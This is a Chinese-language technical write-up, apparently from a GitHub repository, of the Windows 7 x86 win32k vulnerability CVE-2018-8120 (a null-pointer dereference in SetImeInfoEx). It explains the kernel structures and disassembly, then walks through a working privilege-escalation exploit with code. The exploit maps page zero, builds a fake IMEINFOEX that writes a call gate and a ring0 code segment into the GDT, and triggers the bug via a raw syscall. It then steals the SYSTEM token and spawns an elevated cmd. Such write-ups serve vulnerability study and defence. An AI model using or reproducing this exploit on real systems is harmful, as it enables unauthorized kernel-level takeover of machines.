Skip to content

Latest commit

 

History

History
298 lines (273 loc) · 11.8 KB

CVE-2018-8120.md

File metadata and controls

298 lines (273 loc) · 11.8 KB

#CVE-2018-8120

##0x00 漏洞详情

本次漏洞属于空指针解引用漏洞,发生于win32k下的SetImeInfoEx函数中,函数原型如下

BOOL SetImeInfoEx(
    PWINDOWSTATION pwinsta,   
    PIMEINFOEX piiex)

pwinsta由上层函数调用GetProcessWindowStation(NULL)获得,所以触发漏洞的前提为当前进程信息结构体拥有tagWINDOWSTATION成员, 这需要我们调用CreateWindowStation创建WinStation对象并调用SetProcessWindowStation添加到当前进程信息结构体中

win32k!tagWINDOWSTATION  	 
   +0x000 dwSessionId      : Uint4B
   +0x004 rpwinstaNext     : Ptr32 tagWINDOWSTATION
   +0x008 rpdeskList       : Ptr32 tagDESKTOP
   +0x00c pTerm            : Ptr32 tagTERMINAL
   +0x010 dwWSF_Flags      : Uint4B
   +0x014 spklList         : Ptr32 tagKL
   +0x018 ptiClipLock      : Ptr32 tagTHREADINFO
   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
   +0x020 spwndClipOpen    : Ptr32 tagWND
   +0x024 spwndClipViewer  : Ptr32 tagWND
   +0x028 spwndClipOwner   : Ptr32 tagWND
   +0x02c pClipBase        : Ptr32 tagCLIP
   +0x030 cNumClipFormats  : Uint4B
   +0x034 iClipSerialNumber : Uint4B
   +0x038 iClipSequenceNumber : Uint4B
   +0x03c spwndClipboardListener : Ptr32 tagWND
   +0x040 pGlobalAtomTable : Ptr32 Void
   +0x044 luidEndSession   : _LUID
   +0x04c luidUser         : _LUID
   +0x054 psidUser         : Ptr32 Void

###tagWINDOWSTATION结构

win32k!tagKL
   +0x000 head             : _HEAD
   +0x008 pklNext          : Ptr32 tagKL
   +0x00c pklPrev          : Ptr32 tagKL
   +0x010 dwKL_Flags       : Uint4B
   +0x014 hkl              : Ptr32 HKL__
   +0x018 spkf             : Ptr32 tagKBDFILE
   +0x01c spkfPrimary      : Ptr32 tagKBDFILE
   +0x020 dwFontSigs       : Uint4B
   +0x024 iBaseCharset     : Uint4B
   +0x028 CodePage         : Uint2B
   +0x02a wchDiacritic     : Wchar
   +0x02c piiex            : Ptr32 tagIMEINFOEX
   +0x030 uNumTbl          : Uint4B
   +0x034 pspkfExtra       : Ptr32 Ptr32 tagKBDFILE
   +0x038 dwLastKbdType    : Uint4B
   +0x03c dwLastKbdSubType : Uint4B
   +0x040 dwKLID           : Uint4B

###tagKL结构

win32k!tagIMEINFOEX
   +0x000 hkl              : Ptr32 HKL__
   +0x004 ImeInfo          : tagIMEINFO
   +0x020 wszUIClass       : [16] Wchar
   +0x040 fdwInitConvMode  : Uint4B
   +0x044 fInitOpen        : Int4B
   +0x048 fLoadFlag        : Int4B
   +0x04c dwProdVersion    : Uint4B
   +0x050 dwImeWinVersion  : Uint4B
   +0x054 wszImeDescription : [50] Wchar
   +0x0b8 wszImeFile       : [80] Wchar
   +0x158 fSysWow64Only    : Pos 0, 1 Bit
   +0x158 fCUASLayer       : Pos 1, 1 Bit

###tagIMEINFOEX结构

tagWINDOWSTATION 的spklList的成员为tagKL结构体(KeyBoad Latout结构体)链表的头节点,tagKL中 + 0x14处为HKL

  1. 在SetImeInfoEx中,函数取出spklList 链的首个tagKL的hkl成员与用户构造的tagIMEINFOEX结构体hkl成员对比,若相等,则进一步向下执行
win32k!SetImeInfoEx+0xc:
9c120071 8b4814          mov     ecx,dword ptr [eax+14h]  //pwinsta->spkllist
9c120074 56              push    esi
9c120075 8b750c          mov     esi,dword ptr [ebp+0Ch] //piiex
9c120078 8b16            mov     edx,dword ptr [esi]  //edx = piiex->hkl (首个成员)
9c12007a 8bc1            mov     eax,ecx 
win32k!SetImeInfoEx+0x17:
9c12007c 395014          cmp     dword ptr [eax+14h],edx//pwinsta->spkllist.hkl与piiex->hkl相比较
9c12007f 740e            je      win32k!SetImeInfoEx+0x2a (9c12008f)  Branch
  1. 然后函数取出并判断tagKL的piiex成员是否为空,若不为空,继续执行,否则返回
9c12008f 8b402c          mov     eax,dword ptr [eax+2Ch]  //  eax   <-pkl->piiex
9c120092 85c0            test    eax,eax  //piiex成员不为NULL
9c120094 74f2            je      win32k!SetImeInfoEx+0x23 (9c120088)  Branch
  1. 若piiex成员的fLoadFlag值为0,那么函数将把用户定义的tagIMEINFOEX结构体整个复制到piiex所指的地方,然后函数返回
win32k!SetImeInfoEx+0x31:
9c120096 83784800        cmp     dword ptr [eax+48h],0   
//if(pkl->piiex->fLoadFlag == IMEF_NONLOAD)(定义为0)
9c12009a 7509            jne     win32k!SetImeInfoEx+0x40 (9c1200a5)  Branch
win32k!SetImeInfoEx+0x37:
9c12009c 57              push    edi
9c12009d 6a57            push    57h   //57h * 4 = sizeof(tagIMEINFOEX)
9c12009f 59              pop     ecx
9c1200a0 8bf8            mov     edi,eax  
9c1200a2 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]   //复制

触发漏洞的关键在于,当我们调用CreateWindowStation新建一个station时,它的spkllist为NULL,但函数并没有对其进行检验,于是会出现如下情况:

  • 第1步中,比较语句将变为 cmp dword ptr [0+14h],edx,edx为piiex的首个成员hkl,而piiex是由我们构造的,我们可以任意改变其值,而0+14h即0x14处为进程虚拟地址空间,通过一些方法我们可以安排其值与hkl相等进而进入下一步
  • 进入2步,由于eax为spkllist的值,也就是NULL,所以将执行以下指令:
9c12008f 8b402c          mov     eax,dword ptr [2Ch]  //  
9c120092 85c0            test    eax,eax 
9c120094 74f2            je      win32k!SetImeInfoEx+0x23 (9c120088)  Branch
  • 同样的,我们可以向进程地址空间0x2c处写入任意非0的值(这里我们称这个值为'WHERE'),满足继续执行的条件,进而进入第3步操作
  • 第3步中,函数将向'WHERE'处复制整个tagIMEINFOEX结构体,也就是0x15c个字节的由我们定义的数据

综上,利用本次漏洞,我们可以实现整整0x15c字节的write-what-where操作

##0x01关于GDT和调用门

GDT为Global Descriptor Table的缩写,用于存放描述了代码段/数据段/LDT/各种门的结构体 想要获得GDT的地址,我们可以使用sgdt指令读取gdtr寄存器里的值,该指令为非特权指令,具体操作如下

	UCHAR gtdr1[6] = { 0 };
	ULONG GdtAddr = 0;
	_asm {
		sgdt  fword ptr gtdr1
	}
	GdtAddr = *((PULONG)&gtdr1[2]);
	printf("addrGdt:%#p\n", GdtAddr);

调用门提供了一种能让ring3代码调用ring0层代码的方法,调用门的结构如下:

  • offset in segment:欲执行的代码在代码段内的偏移
  • P:存在位,必须置为1
  • DPL:由于我们欲在ring3呼叫调用门所以应为11(ring3)
  • Type:调用门的Type为01100
  • ParamCount:参数个数
  • Segment Selector:代码段选择子

欲使用调用门,首先应向GDT表中添加我们的调用门描述符,然后执行如下操作:

WORD CallGateSelector[3];
CallGateSelector[0] = 0x0; 
CallGateSelector[1] = 0x0;
CallGateSelector[2] = OurCallGateSelector;  //调用门选择子,其实就是在GDT里的位置
_asm {
		call fword ptr[CallGateSelector];
	}

在进行呼叫调用门时,当前Ring3层的ss,esp,cs,eip将依次入栈

eip   调用门返回后执行的指令
cs    代码段选择子
esp   ring3栈顶
ss    ring3栈寄存器,进入ring0后系统将进行栈切换

在调用门例程中,想要返回执行ring3指令时,应使用retf指令,retf指令将依次弹出保存在栈里的寄存器值,由于我们可以修改栈里的值,所以说调用门返回的目标地址是可修改的

##0x02漏洞利用 由上面漏洞分析可知: 触发漏洞时,我们可以向由0x2c处存放的地址写入0x15c大小的任意数据 若我们借此修改GDT里的数据,添加一个调用门,就可以实现ring3层呼叫调用门,具体方法如下:

###1 .为当前进程创建tagWINDOWSTATION结构

HWINSTA hWS = CreateWindowStationW(NULL, 0, GENERIC_READ, NULL);
SetProcessWindowStation(hWS);

###2 .构造触发漏洞后复制入指定地址的fake tagIMEINFOEX结构体

VOID  xxxSetFakeImeInfo(PIMEINFOEX fake, INT GdtAddr, BOOL Recover)
{
	int * i = (int *)((PBYTE)fake + 4);
	DWORD OriginData = GdtAddr + 0x160;     // GDT里大多数项都是空的,选一个好位置进行修改
	DWORD Loop = 0x57;         //0x57 * 4 = sizeof(tagIMEINFOEX)                           
	do
	{
		*i = OriginData;
		OriginData += 8;
		i += 2;                                    // 越过一个entry,一个entry大小在x86下为8字节
		--Loop;
	} while (Loop);
	//上面是在模拟GDT里的原始数据

	if (!Recover)   //是否需要修改GDT
	{
		*(DWORD *)((PBYTE)fake + 0x60) = 0xC3;  //ret指令
		*(WORD *)((PBYTE)fake + 0x4C) = GdtAddr + 0x1B4; //offset low
		*(WORD *)((PBYTE)fake + 0x52) = (unsigned int)(GdtAddr + 0x1B4) >> 16;  //offset high
		*(WORD *)((PBYTE)fake + 0x4E) = 0x1A8; //call gate的cs段选择子
		*(WORD *)((PBYTE)fake + 0x50) = 0xEC00u;//type:call gate    DPL:11(ring3)   00000000 (固定0位  + 参数个数:0)
		*(WORD *)((PBYTE)fake + 0x54) = 0xFFFFu;//limit low
		*(WORD *)((PBYTE)fake + 0x56) = 0;
		*(BYTE *)((PBYTE)fake + 0x58) = 0;//base为0
		*(BYTE *)((PBYTE)fake + 0x5B) = 0;
		*(BYTE *)((PBYTE)fake + 0x59) = 0x9Au; //cs描述符的一些flag
		*(BYTE *)((PBYTE)fake + 0x5A) = 0xCFu;
	}
}

这次我们向GDT表里写入了3项数据,分别是

  • 一个调用门描述符
  • 一个调用门所指向的代码段的描述符
  • 调用门将执行的代码 0xc3 ret指令 也就是说,调用门指向的代码段里的指令就在GDT里,这需要我们精确把控描述符的Base和Offset的值

###3 .修改0x14,0x2c处的值

  • 0x14的值用于满足SetImeInfoEx()里的判断条件,需要与fake imeinfoex 的首个成员相等,这里我们将两者都设置为0
  • 0x2c用于存放我们欲写入数据的地址
  • 想要修改进程地址空间这两处的值,我们可以使用ntdll导出的未文档化的函数NtAllocateVirtualMemory

###4 .触发漏洞 可呼叫NtUserSetImeInfoEx,进而进入漏洞函数中

   _asm push fake   //压入fake tagIMEINFOEX
   mov	 eax, IndexOfNtUserSetImeInfoEx   //0x1226 对应NtUserSetImeInfoEx
   mov     edx, 7FFE0300h  //KiFastcallEntryStub
   call    dword ptr[edx]
   retn 4

GDT将被修改为如下

gdt 的1A0 项被替换为了 80b9ec00 01a851b4 1A0 项被替换为了 00cf9a00 0000ffff 80b951b4处被替换为c3 分析如下:

80b9ec00`01a851b4   call gate descriptor
offset  :80b951b4
selector:  01A8
param count :0
type: 0xc  1100  (call gate)
p dpl 0   : 0xe   1110    1(存在)  11(ring3)  0(固定为0)

调用门指示的代码段选择子对应GDT的第01A8 项:

00cf9a00`0000ffff   code  segment  descriptor
limit: fffff  
base: 0 
G:1  段限粒度为4KB
D/B: 1 32位操作数
L:0  32位模式
AVL: 0  系统不可待用
P: 1 存在
DPL:  00  ring0
S: 1  code/data
Type: 1010  可执行,可读,未访问

于是在呼叫调用门时,将执行到 base + offset = 0+ 80b951b4处 而80b951b4处为c3 ret 此时将在ring0权限下去执行用户定义的代码

###5 . 呼叫调用门 由于调用门例程只有一个简单粗暴的指令:ret,这代表着将返回执行ring3层的代码,但cs并没有改变,所以代码获得了ring0的执行权限 值得注意的是,ret指令将eip从栈中弹出,刚才所说的栈将变为如下

cs    代码段选择子    <-esp
esp   ring3栈顶
ss    ring3栈寄存器,进入ring0后系统将进行栈切换

所以在执行完提权指令,返回ring3代码时我们还需要压入eip(至于是哪条指令可以自己定)以恢复堆栈,具体操作如下:

			mov eax, [esp]    //cs ->eax
			mov CurrentCs, eax
			add esp, 4   
			push EPROCESS
			call StealToken
			mov eax, CurrentCs
			push eax    //压入cs
			push offset label  //压入eip
			retf   //调用门返回
	label :
			xor eax,eax

###6 .进行提权 由于获得了ring0执行代码地权限,我们可以窃取系统进程的token 提权过程参考代码,不再赘述 ###7 .从调用门中返回(见上面)

###8. 执行恶意操作 这里我简单地创建了一个cmd,可以看到,权限已经被改变了 ##总结 本次漏洞利用可以参考@j00ru大佬以前发表的借助LDT/GDT进行漏洞利用技巧,本次漏洞针对win7 x86平台,由于任意写的长度很友好,所以利用起来比较简单,但其泄漏内核重要结构地址,获得内核函数地址的方法值得学习